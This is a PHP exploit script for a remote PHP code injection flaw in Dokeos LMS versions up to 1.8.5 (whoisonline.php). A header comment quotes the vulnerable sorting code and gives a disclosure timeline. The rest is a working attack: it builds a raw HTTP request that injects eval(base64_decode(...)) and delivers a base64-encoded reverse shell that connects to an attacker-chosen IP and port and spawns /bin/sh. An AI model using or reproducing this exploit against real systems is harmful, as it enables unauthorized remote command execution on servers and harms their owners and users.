<?php
/* ----------------------------------------------------------------------- Dokeos LMS <= 1.8.5 (whoisonline.php) Remote PHP Code Injection Exploit ----------------------------------------------------------------------- author...: EgiX mail.....: n0b0d13s[at]gmail[dot]com link.....: http://www.dokeos.com/
This PoC was written for educational purpose. Use it at your own risk. Author will be not responsible for any damage.
[-] vulnerable code in /main/inc/lib/tablesort.lib.php
86. function sort_table($data, $column = 0, $direction = SORT_ASC, $type = SORT_REGULAR) 87. { 88. if(!is_array($data) or count($data)==0){return array();} 89. switch ($type) 90. { 91. case SORT_REGULAR : 92. if (TableSort::is_image_column($data, $column)) 93. { 94. return TableSort::sort_table($data, $column, $direction, SORT_IMAGE); 95. } 96. elseif (TableSort::is_date_column($data, $column)) 97. { 98. return TableSort::sort_table($data, $column, $direction, SORT_DATE); 99. } 100. elseif (TableSort::is_numeric_column($data, $column)) 101. { 102. return TableSort::sort_table($data, $column, $direction, SORT_NUMERIC); 103. } 104. return TableSort::sort_table($data, $column, $direction, SORT_STRING); 105. break; 106. case SORT_NUMERIC : 107. $compare_function = 'strip_tags($el1) > strip_tags($el2)'; 108. break; 109. case SORT_STRING : 110. $compare_function = 'strnatcmp(TableSort::orderingstring(strip_tags($el1)), [...] 111. break; 112. case SORT_IMAGE : 113. $compare_function = 'strnatcmp(TableSort::orderingstring(strip_tags($el1,"<img>")), [...] 114. break; 115. case SORT_DATE : 116. $compare_function = 'strtotime(strip_tags($el1)) > strtotime(strip_tags($el2))'; 117. } 118. $function_body = '$el1 = $a['.$column.']; $el2 = $b['.$column.']; return ('.$direction.' == SORT_ASC [...] 119. // Sort the content 120. usort($data, create_function('$a,$b', $function_body)); 121. return $data; 122. }
Input parameter passed to whoisonline.php isn't properly sanitised before being used in a call to "create_function()" at line 120. This can be exploited to inject and execute arbitrary PHP code. [See http://www.securityfocus.com/bid/31398 also PHP 5.2.9 seems to be still vulnerable to this bug!] Others attack vectors might be possible with a valid registered account.
[-] Disclosure timeline: [10/04/2009] - Bug discovered [13/04/2009] - Vendor contacted but no response [16/04/2009] - Vendor contacted again still no response [21/04/2009] - Public disclosure
*/
error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5);
function http_send($host, $packet) { if (($s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) == false) die("\nsocket_create(): " . socket_strerror($s) . "\n");
if (socket_connect($s, $host, 80) == false) die("\nsocket_connect(): " . socket_strerror(socket_last_error()) . "\n");
socket_write($s, $packet, strlen($packet)); while ($m = socket_read($s, 2048)) $response .= $m;
socket_close($s); return $response; }
print "\n+--------------------------------------------------------------------+"; print "\n| Dokeos LMS <= 1.8.5 (reverse shell) Code Injection Exploit by EgiX |"; print "\n+--------------------------------------------------------------------+\n\n";
if ($argc < 4) { print "\nUsage......: php $argv[0] <host> <path> <local IP> [port]\n"; print "\nExample....: php $argv[0] localhost /dokeos/ 192.168.0.2"; print "\nExample....: php $argv[0] localhost / 192.168.0.2 12345\n"; die(); }
$host = $argv[1]; $path = $argv[2]; $ip = $argv[3]; $port = isset($argv[4]) ? (int)$argv[4] : 4444;
// reverse shell based on http://pentestmonkey.net/tools/php-reverse-shell/ $code = "c2V0X3RpbWVfbGltaXQoMCk7CmluaV9zZXQoJ2RlZmF1bHRfc29ja2V0X3RpbWVvdXQnLCA1KTsKC" . "iRpcCA9ICRfU0VSVkVSW0hUVFBfSVBdOwokcG9ydCA9ICRfU0VSVkVSW0hUVFBfUE9SVF07CiRjaH" . "Vua19zaXplID0gMjA0ODsKCmlmICghKCRzb2NrID0gZnNvY2tvcGVuKCRpcCwgJHBvcnQpKSkgZGl" . "lKCdbZXJyXUNvbm5lY3Rpb24gdG8geyRpcH06eyRwb3J0fSByZWZ1c2VkJyk7CiRkZXNjcmlwdG9y" . "c3BlYyA9IGFycmF5KDAgPT4gYXJyYXkoJ3BpcGUnLCAncicpLCAxID0+IGFycmF5KCdwaXBlJywgJ" . "3cnKSwgMiA9PiBhcnJheSgncGlwZScsICd3JykpOwppZiAoIWlzX3Jlc291cmNlKCgkcHJvY2Vzcy" . "A9IHByb2Nfb3BlbignL2Jpbi9zaCAtaScsICRkZXNjcmlwdG9yc3BlYywgJHBpcGVzKSkpKSBkaWU" . "oJ1tlcnJdQ2FuXCd0IHNwYXduIHNoZWxsJyk7CgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1sw" . "XSwgMCk7CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcGVzWzFdLCAwKTsKc3RyZWFtX3NldF9ibG9ja" . "2luZygkcGlwZXNbMl0sIDApOwpzdHJlYW1fc2V0X2Jsb2NraW5nKCRzb2NrLCAwKTsKCndoaWxlIC" . "ghZmVvZigkc29jaykgJiYgIWZlb2YoJHBpcGVzWzFdKSkgewoJJHJlYWRfYSA9IGFycmF5KCRzb2N" . "rLCAkcGlwZXNbMV0sICRwaXBlc1syXSk7CgkkbnVtX2NoYW5nZWRfc29ja2V0cyA9IHN0cmVhbV9z" . "ZWxlY3QoJHJlYWRfYSwgJHdyaXRlX2EsICRlcnJvcl9hLCBudWxsKTsKCglpZiAoaW5fYXJyYXkoJ" . "HNvY2ssICRyZWFkX2EpKSB7CgkJJGlucHV0ID0gZnJlYWQoJHNvY2ssICRjaHVua19zaXplKTsKCQ" . "lmd3JpdGUoJHBpcGVzWzBdLCAkaW5wdXQpOwoJfQoJaWYgKGluX2FycmF5KCRwaXBlc1sxXSwgJHJ" . "lYWRfYSkpIHsKCQkkaW5wdXQgPSBmcmVhZCgkcGlwZXNbMV0sICRjaHVua19zaXplKTsKCQlmd3Jp" . "dGUoJHNvY2ssICRpbnB1dCk7Cgl9CglpZiAoaW5fYXJyYXkoJHBpcGVzWzJdLCAkcmVhZF9hKSkge" . "woJCSRpbnB1dCA9IGZyZWFkKCRwaXBlc1syXSwgJGNodW5rX3NpemUpOwoJCWZ3cml0ZSgkc29jay" . "wgJGlucHV0KTsKCX0KfQoKZmNsb3NlKCRzb2NrKTsKZmNsb3NlKCRwaXBlc1swXSk7CmZjbG9zZSg" . "kcGlwZXNbMV0pOwpmY2xvc2UoJHBpcGVzWzJdKTsKcHJvY19jbG9zZSgkcHJvY2Vzcyk7CmRpZTsK";
$packet = "GET {$path}whoisonline.php?tablename_column=0];}eval(base64_decode(\$_SERVER[HTTP_CODE]));%23 HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Code: {$code}\r\n"; $packet .= "IP: {$ip}\r\n"; $packet .= "Port: {$port}\r\n"; $packet .= "Connection: close\r\n\r\n";
$response = http_send($host, $packet);
if (preg_match("/\[err\](.*)/", $response, $match)) die("[-] Exploit failed ({$match[1]})\n"); if (preg_match("/<\/html>/", $response)) die("[-] Exploit failed (No users online)\n");
?>
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